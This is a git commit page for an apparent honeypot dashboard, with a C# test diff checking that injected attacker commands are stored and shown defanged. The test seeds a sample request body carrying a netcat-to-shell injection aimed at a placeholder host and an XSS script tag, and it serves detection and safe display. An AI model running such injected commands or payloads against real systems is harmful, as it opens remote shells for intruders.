Flag commands that attackers try to inject
Build and deploy / build (push) Successful in 1m32s
Release / image (push) Successful in 1m54s
Build and deploy / deploy (push) Successful in 30s
Release / release (push) Successful in 7s

Path, headers and body of every catch are checked; command and target
server are stored, shown defanged in the dashboard and via MCP
list_commands. Changelog prepared for 0.11.0.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
This commit is contained in:
TomandClaude Sonnet 5.5 committed 2026-11-27 21:22:19 +01:00
1 parent b559f83550
commit c2ecb14b4a
25 files changed
+948 -18

No files matched your search

+10 -6
View File
@@ -30,7 +30,7 @@ public sealed partial class RequestViewTests : IDisposable
public async Task Signed_in_users_get_the_request_and_attacker_markup_stays_out_of_the_page()
{
using var client = _factory.CreateClient(new WebApplicationFactoryClientOptions { AllowAutoRedirect = false });
var (withRequest, without) = await SeedAsync();
var (withRequest, withCommand) = await SeedAsync();
(await client.GetAsync($"/catches/{withRequest}/request")).StatusCode.ShouldBe(HttpStatusCode.Redirect);
@@ -45,17 +45,21 @@ public sealed partial class RequestViewTests : IDisposable
json.RootElement.GetProperty("headers").GetString().ShouldNotBeNull().ShouldContain("Host: x");
var page = await client.GetStringAsync("/");
page.ShouldContain("Eingeschleuste Befehle");
page.ShouldContain("192[.]0[.]2[.]7:4545");
page.ShouldNotContain("192.0.2.7");
(await client.GetStringAsync("/?befehl=ja")).ShouldContain($"event:{withCommand}");
page.ShouldContain($"data-request=\"catches/{withRequest}/request\"");
page.ShouldNotContain($"data-request=\"catches/{without}/request\"");
page.ShouldNotContain("<script>alert(1)</script>");
page.ShouldNotContain("<script>alert(1)</script>");
}
private async Task<(long WithRequest, long Without)> SeedAsync()
private async Task<(long WithRequest, long WithCommand)> SeedAsync()
{
await using var db = await _factory.Services.GetRequiredService<IDbContextFactory<FlypaperDbContext>>().CreateDbContextAsync();
var first = Entity(new RequestDetails("Host: x\n", "<script>alert(1)</script>", 25, false));
var second = Entity(null);
db.TrapEvents.AddRange(first, second);
var second = Entity(new RequestDetails("Host: x\n", "sysCmd=nc+192.0.2.7+4545%7Csh", 29, false));
var third = Entity(null);
db.TrapEvents.AddRange(first, second, third);
await db.SaveChangesAsync();
return (first.Id, second.Id);
}